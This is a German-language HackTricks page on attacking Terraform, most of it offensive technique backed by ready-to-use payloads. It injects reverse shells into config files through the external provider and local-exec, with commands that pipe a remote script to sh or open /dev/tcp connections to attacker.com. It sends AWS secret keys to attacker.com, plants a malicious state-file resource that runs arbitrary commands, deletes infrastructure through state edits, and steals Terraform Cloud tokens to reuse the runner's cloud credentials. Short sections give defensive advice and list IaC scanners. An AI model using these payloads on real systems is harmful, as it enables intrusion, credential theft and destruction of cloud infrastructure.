Terraform Sicherheit

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

Aus der Dokumentation:

HashiCorp Terraform ist ein Infrastructure-as-Code-Tool, mit dem du sowohl Cloud- als auch On-Prem-Ressourcen in menschenlesbaren Konfigurationsdateien definieren kannst, die du versionieren, wiederverwenden und teilen kannst. Du kannst anschließend einen konsistenten Workflow nutzen, um deine gesamte Infrastruktur während ihres gesamten Lebenszyklus bereitzustellen und zu verwalten. Terraform kann niedrigstufige Komponenten wie Compute-, Storage- und Netzwerkressourcen sowie höherstufige Komponenten wie DNS-Einträge und SaaS-Funktionen verwalten.

Wie funktioniert Terraform?

Terraform erstellt und verwaltet Ressourcen auf Cloud-Plattformen und anderen Services über deren Application Programming Interfaces (APIs). Providers ermöglichen es Terraform, mit praktisch jeder Plattform oder jedem Service mit zugänglicher API zu arbeiten.

HashiCorp und die Terraform-Community haben bereits mehr als 1700 providers geschrieben, um Tausende verschiedener Ressourcentypen und Services zu verwalten, und diese Zahl wächst weiter. Du findest alle öffentlich verfügbaren providers im Terraform Registry, einschließlich Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog und vielen weiteren.

Der Kern-Workflow von Terraform besteht aus drei Phasen:

  • Write: Du definierst Ressourcen, die sich über mehrere Cloud-Provider und Services erstrecken können. Zum Beispiel könntest du eine Konfiguration erstellen, um eine Anwendung auf VMs in einem Virtual Private Cloud (VPC)-Netzwerk mit security groups und einem load balancer bereitzustellen.
  • Plan: Terraform erstellt einen Ausführungsplan, der beschreibt, welche Infrastruktur es basierend auf der vorhandenen Infrastruktur und deiner Konfiguration erstellen, aktualisieren oder löschen wird.
  • Apply: Nach Bestätigung führt Terraform die vorgeschlagenen Operationen in der richtigen Reihenfolge aus und berücksichtigt dabei etwaige Ressourcenabhängigkeiten. Wenn du beispielsweise die Eigenschaften eines VPC änderst und die Anzahl der VMs in diesem VPC anpasst, wird Terraform das VPC neu erstellen, bevor es die VMs skaliert.

Terraform-Labor

Installiere einfach terraform auf deinem Computer.

Hier findest du eine guide und hier ist der best way to download terraform.

RCE in Terraform: config file poisoning

Terraform hat keine Plattform, die eine Webseite oder einen Netzwerkdienst exponiert, den wir enumerieren können; daher ist der einzige Weg, terraform zu kompromittieren, die Möglichkeit, terraform-Konfigurationsdateien hinzuzufügen/zu ändern oder die terraform state file zu modifizieren (siehe Kapitel weiter unten).

Terraform ist jedoch eine sehr sensible Komponente zum Kompromittieren, da es privilegierten Zugriff auf verschiedene Orte haben wird, damit es ordnungsgemäß funktioniert.

Der Hauptweg für einen Angreifer, das System, auf dem terraform läuft, zu kompromittieren, ist das Kompromittieren des Repositorys, das die terraform-Konfigurationen speichert, denn irgendwann werden diese ja interpretiert.

Tatsächlich gibt es Lösungen, die terraform plan/terraform apply automatisch ausführen, nachdem ein PR erstellt wurde, wie zum Beispiel Atlantis:

Atlantis Security

Wenn du eine terraform-Datei kompromittieren kannst, gibt es verschiedene Wege, RCE zu erreichen, wenn jemand terraform plan oder terraform apply ausführt.

Terraform plan

Terraform plan ist der am häufigsten verwendete Befehl in terraform und Entwickler/Lösungen, die terraform einsetzen, rufen ihn die ganze Zeit auf. Daher ist der einfachste Weg für RCE, sicherzustellen, dass du eine terraform-Konfigurationsdatei vergiftest, die willkürliche Befehle in einem terraform plan ausführt.

Using an external provider

Terraform bietet den external provider, der eine Schnittstelle zwischen Terraform und externen Programmen bereitstellt. Du kannst die external data source verwenden, um beliebigen Code während eines plan auszuführen.

Das Injizieren von etwas wie dem Folgenden in eine terraform-Konfigurationsdatei wird eine rev shell ausführen, wenn terraform plan ausgeführt wird:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Verwendung eines benutzerdefinierten Providers

Ein Angreifer könnte einen custom provider an das Terraform Registry senden und ihn dann dem Terraform-Code in einem Feature-Branch hinzufügen (example from here):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

Der Provider wird beim init heruntergeladen und führt den bösartigen Code aus, wenn plan ausgeführt wird

Ein Beispiel findest du unter https://github.com/rung/terraform-provider-cmdexec

Externe Referenz verwenden

Beide genannten Optionen sind nützlich, aber nicht sehr stealthy (die zweite ist stealthier, aber komplexer als die erste). Du kannst diesen Angriff sogar auf eine stealthier way ausführen, indem du den folgenden Vorschlägen folgst:

  • Statt die rev shell direkt in die terraform-Datei einzufügen, kannst du eine externe Ressource laden, die die rev shell enthält:
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Du findest den rev shell code in https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • In der externen Ressource, verwende das ref feature, um den terraform rev shell code in a branch innerhalb des Repos zu verbergen, so etwas wie: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

Terraform apply wird ausgeführt, um alle Änderungen anzuwenden, du kannst es auch missbrauchen, um RCE zu erlangen injecting a malicious Terraform file with local-exec.\

Du musst nur sicherstellen, dass eine Payload wie die folgenden am Ende der Datei main.tf steht:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Befolge die Vorschläge aus der vorherigen Technik, um diesen Angriff in einer unauffälligeren Weise mit externen Referenzen durchzuführen.

Geheimnisse ausgeben

Du kannst die beim terraform verwendeten geheimen Werte ausgeben lassen, wenn du terraform apply ausführst, indem du der terraform-Datei etwas wie Folgendes hinzufügst:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Missbrauch von Terraform State-Dateien

In case you have write access over terraform state files but cannot change the terraform code, this research gives some interesting options to take advantage of the file. Even if you would have write access over the config files, using the vector of state files is often way more sneaky, since you do not leave tracks in the git history.

RCE in Terraform: config file poisoning

It is possible to create a custom provider and just replace one of the providers in the terraform state file for the malicious one or add a fake resource referencing the malicious provider.

The provider statefile-rce builds on the research and weaponizes this principle. You can add a fake resource and state the arbitrary bash command you want to run in the attribute command. When the terraform run is triggered, this will be read and executed in both the terraform plan and terraform apply steps. In case of the terraform apply step, terraform will delete the fake resource from the state file after executing your command, cleaning up after itself. More information and a full demo can be found in the GitHub repository hosting the source code for this provider.

To use it directly, just include the following at any position of the resources array and customize the name and the command attributes:

{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}

Sobald terraform ausgeführt wird, läuft dein Code.

Deleting resources

Es gibt 2 Möglichkeiten, Ressourcen zu zerstören:

  1. Füge eine Ressource mit einem zufälligen Namen in die State-Datei ein, die auf die echte Ressource zum Zerstören zeigt

Weil terraform sehen wird, dass die Ressource nicht existieren sollte, wird es sie zerstören (entsprechend der angegebenen echten Ressourcen-ID). Beispiel von der vorherigen Seite:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. Die Ressource so ändern, dass ein Update nicht möglich ist (sie wird gelöscht und neu erstellt)

Für eine EC2-Instanz reicht es, den Typ der Instanz zu ändern, damit terraform sie löscht und neu erstellt.

Gesperrten Provider ersetzen

Falls Sie auf eine Situation stoßen, in der hashicorp/external gesperrt wurde, können Sie den external Provider wie folgt neu implementieren. Hinweis: Wir verwenden einen Fork des external Providers, veröffentlicht unter https://registry.terraform.io/providers/nazarewk/external/latest. Sie können auch einen eigenen Fork oder eine eigene Neuimplementierung veröffentlichen.

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

Dann kannst du external wie gewohnt verwenden.

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Terraform Cloud speculative plan RCE and credential exfiltration

Dieses Szenario missbraucht Terraform Cloud (TFC) runners während speculative plans, um in das Ziel-Cloud-Konto zu pivot.

  • Preconditions:

  • Ein Terraform Cloud-Token von einer Entwickler-Maschine stehlen. Die CLI speichert Tokens im Klartext unter ~/.terraform.d/credentials.tfrc.json.

  • Das Token muss Zugriff auf die Ziel-Organisation/workspace und mindestens die plan-Berechtigung haben. VCS-backed workspaces blockieren apply von der CLI, erlauben aber weiterhin speculative plans.

  • Discover workspace and VCS settings via the TFC API:

export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
  • Codeausführung während eines speculative plan auslösen, indem die external data source und der Terraform Cloud “cloud” block verwendet werden, um das VCS-backed workspace anzuzielen:
terraform {
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
}

data "external" "exec" {
program = ["bash", "./rsync.sh"]
}

Beispiel rsync.sh, um auf dem TFC runner eine reverse shell zu erhalten:

#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'

Führe einen spekulativen Plan aus, um das Programm auf dem ephemeren Runner auszuführen:

terraform init
terraform plan
  • Enumerate and exfiltrate injected cloud credentials vom runner. Während der Runs injiziert TFC provider credentials über Dateien und environment variables:
env | grep -i gcp || true
env | grep -i aws || true

Erwartete Dateien im Arbeitsverzeichnis des Runners:

  • GCP:

  • tfc-google-application-credentials (Workload Identity Federation JSON-Konfiguration)

  • tfc-gcp-token (kurzlebiges GCP-Zugriffstoken)

  • AWS:

  • tfc-aws-shared-config (Konfiguration für Web Identity/OIDC-Rollenübernahme)

  • tfc-aws-token (kurzlebiges Token; einige Organisationen verwenden möglicherweise statische Schlüssel)

  • Verwende die kurzlebigen Anmeldeinformationen außerhalb des normalen Ablaufs, um VCS-Gates zu umgehen:

GCP (gcloud):

export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
gcloud config set project <PROJECT_ID>

AWS (AWS CLI):

export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity

Mit diesen Zugangsdaten können Angreifer Ressourcen direkt über native CLIs erstellen/modifizieren/zerstören und so PR-basierte Workflows umgehen, die apply via VCS blockieren.

  • Defensive guidance:
  • Wende das Least-Privilege-Prinzip auf TFC-Benutzer/Teams und Tokens an. Prüfe Mitgliedschaften und vermeide übermäßig viele Owner.
  • Beschränke die plan-Berechtigung für sensible VCS-gebundene Workspaces, wo möglich.
  • Erzwinge Provider/Datensource-Allowlists mit Sentinel-Policies, um data "external" oder unbekannte Provider zu blockieren. Siehe HashiCorp-Anleitung zum Provider-Filtering.
  • Bevorzuge OIDC/WIF gegenüber statischen Cloud-Credentials; behandle runner als sensibel. Überwache spekulative plan-Ausführungen und unerwartetes Egress.
  • Erkenne Exfiltration von tfc-* Credential-Artefakten und alarmiere bei verdächtiger Nutzung von external-Programmen während Plans.

Kompromittierung von Terraform Cloud

Nutzung eines Tokens

Wie explained in this post erklärt, speichert die terraform CLI Tokens im Klartext unter ~/.terraform.d/credentials.tfrc.json. Das Entwenden dieses Tokens ermöglicht einem Angreifer, sich innerhalb des Berechtigungsumfangs des Tokens als der Benutzer auszugeben.

Mit diesem Token kann man die org/workspace abrufen mit:

GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
Authorization: Bearer <TF_TOKEN>

Dann ist es möglich, beliebigen Code mit terraform plan auszuführen, wie im vorherigen Kapitel erklärt.

Ausbruch in die Cloud

Wenn der Runner in einer Cloud-Umgebung läuft, ist es möglich, ein Token des dem Runner zugeordneten principal zu erhalten und es außerhalb des Ablaufs zu verwenden.

  • GCP files (im aktuellen Arbeitsverzeichnis der Ausführung vorhanden)

  • tfc-google-application-credentials — JSON-Konfiguration für Workload Identity Federation (WIF), die Google angibt, wie die externe Identität ausgetauscht wird.

  • tfc-gcp-token — kurzlebiges (≈1 Stunde) GCP access token, auf das oben verwiesen wird

  • AWS-Dateien

  • tfc-aws-shared-config — JSON für web identity federation/OIDC role assumption (bevorzugt gegenüber statischen Keys).

  • tfc-aws-token — kurzlebiges Token oder bei Fehlkonfiguration möglicherweise statische IAM-Keys.

Automatische Audit-Tools

Snyk Infrastructure as Code (IaC)

Snyk bietet eine umfassende Infrastructure as Code (IaC) Scanning-Lösung, die Schwachstellen und Fehlkonfigurationen in Terraform, CloudFormation, Kubernetes und anderen IaC-Formaten erkennt.

  • Features:
  • Echtzeit-Scanning auf Sicherheitslücken und Compliance-Probleme.
  • Integration mit Version-Control-Systemen (GitHub, GitLab, Bitbucket).
  • Automatisierte Fix-Pull-Requests.
  • Detaillierte Empfehlungen zur Behebung.
  • Sign Up: Erstellen Sie ein Konto bei Snyk.
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code

Checkov

Checkov ist ein statisches Code-Analyse-Tool für Infrastructure as Code (IaC) und außerdem ein Software Composition Analysis (SCA)-Tool für Images und Open-Source-Pakete.

Es scannt Cloud-Infrastruktur, die mit Terraform, Terraform plan, Cloudformation, AWS SAM, Kubernetes, Helm charts, Kustomize, Dockerfile, Serverless, Bicep, OpenAPI, ARM Templates, or OpenTofu bereitgestellt wurde, und erkennt Sicherheits- und Compliance-Fehlkonfigurationen mithilfe graphbasierter Scans.

Es führt Software Composition Analysis (SCA) scanning durch, bei dem Open-Source-Pakete und Images auf Common Vulnerabilities and Exposures (CVEs) untersucht werden.

pip install checkov
checkov -d /path/to/folder

terraform-compliance

Aus den docs: terraform-compliance ist ein leichtgewichtiges, auf Security und Compliance ausgerichtetes Test-Framework für terraform, das negative Testmöglichkeiten für Ihre infrastructure-as-code bietet.

  • compliance: Sicherstellen, dass der implementierte Code Sicherheitsstandards und Ihre eigenen Richtlinien einhält
  • behaviour driven development: Wir haben BDD für fast alles — warum nicht auch für IaC?
  • portable: einfach mit pip installieren oder per docker ausführen. Siehe Installation
  • pre-deploy: es validiert Ihren Code, bevor er bereitgestellt wird
  • easy to integrate: es kann in Ihrer Pipeline (oder in git hooks) laufen, um sicherzustellen, dass alle Deployments validiert werden.
  • segregation of duty: Sie können Ihre Tests in einem separaten Repository halten, in dem ein anderes Team verantwortlich ist.

Note

Leider: Wenn der Code Provider verwendet, auf die Sie keinen Zugriff haben, können Sie kein terraform plan ausführen und dieses Tool nicht betreiben.

pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder

tfsec

Aus den docs: tfsec verwendet statische Analyse Ihres terraform-Codes, um potenzielle Fehlkonfigurationen aufzuspüren.

  • ☁️ Prüft auf Fehlkonfigurationen bei allen großen (und einigen kleineren) Cloud-Anbietern
  • ⛔ Hunderte integrierter Regeln
  • 🪆 Scannt Module (lokal und remote)
  • ➕ Bewertet HCL-Ausdrücke sowie Literalwerte
  • ↪️ Bewertet Terraform-Funktionen, z. B. concat()
  • 🔗 Analysiert Beziehungen zwischen Terraform-Ressourcen
  • 🧰 Kompatibel mit dem Terraform CDK
  • 🙅 Wendet benutzerdefinierte Rego-Policies an (und erweitert sie)
  • 📃 Unterstützt mehrere Ausgabeformate: lovely (Standard), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
  • 🛠️ Konfigurierbar (per CLI-Flags und/oder Konfigurationsdatei)
  • ⚡ Sehr schnell, kann große Repositories zügig scannen
brew install tfsec
tfsec /path/to/folder

terrascan

Terrascan ist ein statisches Code-Analyse-Tool für Infrastructure as Code. Terrascan ermöglicht Ihnen:

  • Scannt nahtlos Infrastructure as Code auf Fehlkonfigurationen.
  • Überwacht bereitgestellte Cloud-Infrastruktur auf Konfigurationsänderungen, die zu einem Drift der Sicherheitslage führen, und ermöglicht das Zurückkehren zu einer sicheren Konfiguration.
  • Erkennt Sicherheitslücken und Compliance-Verstöße.
  • Reduziert Risiken, bevor cloud-native Infrastruktur bereitgestellt wird.
  • Bietet die Flexibilität, lokal ausgeführt zu werden oder in Ihre CI\CD zu integrieren.
brew install terrascan
terrascan scan -d /path/to/folder

KICKS

Finde Sicherheitslücken, Compliance-Probleme und Fehlkonfigurationen der Infrastruktur früh im Entwicklungszyklus deiner Infrastructure-as-Code mit KICS von Checkmarx.

KICS steht für Keeping Infrastructure as Code Secure, es ist Open Source und ein Muss für jedes cloud-native Projekt.

docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"

Terrascan

Aus den docs: Terrascan ist ein statischer Code-Analyzer für Infrastructure as Code. Terrascan ermöglicht:

  • Infrastructure as Code nahtlos auf Fehlkonfigurationen zu scannen.
  • Bereitgestellte Cloud-Infrastruktur auf Konfigurationsänderungen zu überwachen, die Posture Drift verursachen, und das Zurücksetzen auf einen sicheren Zustand zu ermöglichen.
  • Sicherheitslücken und Compliance-Verstöße zu erkennen.
  • Risiken zu mindern, bevor cloud-native Infrastruktur bereitgestellt wird.
  • Flexibilität zu bieten, lokal ausgeführt zu werden oder in Ihr CI\CD integriert zu werden.
brew install terrascan

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks